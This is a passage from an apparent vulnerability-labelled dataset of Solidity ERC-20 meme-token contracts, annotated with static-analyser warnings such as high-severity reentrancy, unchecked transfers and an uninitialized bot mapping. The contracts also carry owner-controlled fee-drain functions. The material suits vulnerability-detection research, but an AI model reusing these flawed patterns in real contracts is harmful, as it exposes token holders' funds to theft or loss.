uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: a5e3fe7\n\t\t// reentrancy-eth | ID: d4c847a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: d4c847a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d4c847a\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10205.sol",
"size_bytes": 21358,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BABYBITCOIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0723d09): BABYBITCOIN._taxWallet should be immutable \n\t// Recommendation for 0723d09: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6489815): BABYBITCOIN._initialBuyTax should be constant \n\t// Recommendation for 6489815: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89a04e6): BABYBITCOIN._initialSellTax should be constant \n\t// Recommendation for 89a04e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 109e2b4): BABYBITCOIN._finalBuyTax should be constant \n\t// Recommendation for 109e2b4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ed8f1c): BABYBITCOIN._finalSellTax should be constant \n\t// Recommendation for 2ed8f1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68cc282): BABYBITCOIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 68cc282: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70e59d2): BABYBITCOIN._reduceSellTaxAt should be constant \n\t// Recommendation for 70e59d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ca69d6): BABYBITCOIN._preventSwapBefore should be constant \n\t// Recommendation for 7ca69d6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Baby Bitcoin\";\n\n string private constant _symbol = unicode\"$BABYBTC\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 656c2b6): BABYBITCOIN._taxSwapThreshold should be constant \n\t// Recommendation for 656c2b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 213308e): BABYBITCOIN._maxTaxSwap should be constant \n\t// Recommendation for 213308e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34cfba5): BABYBITCOIN.uniswapV2Router should be immutable \n\t// Recommendation for 34cfba5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 73cc784): BABYBITCOIN.uniswapV2Pair should be immutable \n\t// Recommendation for 73cc784: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 56eee94): BABYBITCOIN.sellsPerBlock should be constant \n\t// Recommendation for 56eee94: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61fbab5): BABYBITCOIN.buysFirstBlock should be constant \n\t// Recommendation for 61fbab5: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 30;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0b3840Abd4ED9De0967886E23463a85869D80139);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ebfd77): BABYBITCOIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ebfd77: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 56ecb6c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 56ecb6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a6dc943): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a6dc943: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 56ecb6c\n\t\t// reentrancy-benign | ID: a6dc943\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 56ecb6c\n\t\t// reentrancy-benign | ID: a6dc943\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bbc117f): BABYBITCOIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bbc117f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a6dc943\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 56ecb6c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 642bb19): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 642bb19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fe4904e): BABYBITCOIN._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for fe4904e: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d20aa4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d20aa4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e633d9f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e633d9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: fe4904e\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 642bb19\n\t\t\t\t// reentrancy-eth | ID: d20aa4b\n\t\t\t\t// reentrancy-eth | ID: e633d9f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 642bb19\n\t\t\t\t\t// reentrancy-eth | ID: d20aa4b\n\t\t\t\t\t// reentrancy-eth | ID: e633d9f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e633d9f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e633d9f\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 642bb19\n\t\t\t\t// reentrancy-eth | ID: d20aa4b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 642bb19\n\t\t\t\t\t// reentrancy-eth | ID: d20aa4b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d20aa4b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 642bb19\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d20aa4b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d20aa4b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 642bb19\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 642bb19\n\t\t// reentrancy-events | ID: 56ecb6c\n\t\t// reentrancy-benign | ID: a6dc943\n\t\t// reentrancy-eth | ID: d20aa4b\n\t\t// reentrancy-eth | ID: e633d9f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 642bb19\n\t\t// reentrancy-events | ID: 56ecb6c\n\t\t// reentrancy-eth | ID: d20aa4b\n\t\t// reentrancy-eth | ID: e633d9f\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 204371b): BABYBITCOIN.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 204371b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external onlyOwner {\n\t\t// unchecked-transfer | ID: 204371b\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 51d39f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 51d39f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d03f964): BABYBITCOIN.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d03f964: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f2cca63): BABYBITCOIN.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f2cca63: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 42bbd2e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 42bbd2e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 51d39f5\n\t\t// unused-return | ID: f2cca63\n\t\t// reentrancy-eth | ID: 42bbd2e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 51d39f5\n\t\t// unused-return | ID: d03f964\n\t\t// reentrancy-eth | ID: 42bbd2e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 51d39f5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 42bbd2e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 51d39f5\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10206.sol",
"size_bytes": 22832,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2999c0d): GAGA._bots is never initialized. It is used in GAGA._transfer(address,address,uint256)\n\t// Recommendation for 2999c0d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7983efa): GAGA._feeWallet should be immutable \n\t// Recommendation for 7983efa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1db39d): GAGA._initialBuyTax should be constant \n\t// Recommendation for e1db39d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28bc696): GAGA._initialSellTax should be constant \n\t// Recommendation for 28bc696: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8b4df8): GAGA._finalBuyTax should be constant \n\t// Recommendation for e8b4df8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f527c4): GAGA._finalSellTax should be constant \n\t// Recommendation for 1f527c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4190b7): GAGA._reduceBuyAt should be constant \n\t// Recommendation for a4190b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: e993004): GAGA._reduceSellAt should be constant \n\t// Recommendation for e993004: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7f4b81): GAGA._preventCount should be constant \n\t// Recommendation for a7f4b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GIGA MAGA\";\n\n string private constant _symbol = unicode\"GAGA\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ef9658): GAGA._minTaxSwap should be constant \n\t// Recommendation for 5ef9658: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 599c492): GAGA._maxTaxSwap should be constant \n\t// Recommendation for 599c492: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n address private _magaHouseRouter;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _feeWallet = payable(0xEC2Ee33f1ca90cCECA3B6555A3edAbb7B7040c87);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_feeWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b8743a): GAGA.approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b8743a: Rename the local variables that shadow another component.\n function approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 46070f7): GAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 46070f7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2419846): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2419846: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4910587): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4910587: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2419846\n\t\t// reentrancy-benign | ID: 4910587\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2419846\n\t\t// reentrancy-benign | ID: 4910587\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 249e0b8): GAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 249e0b8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4910587\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2419846\n emit Approval(owner, spender, amount);\n 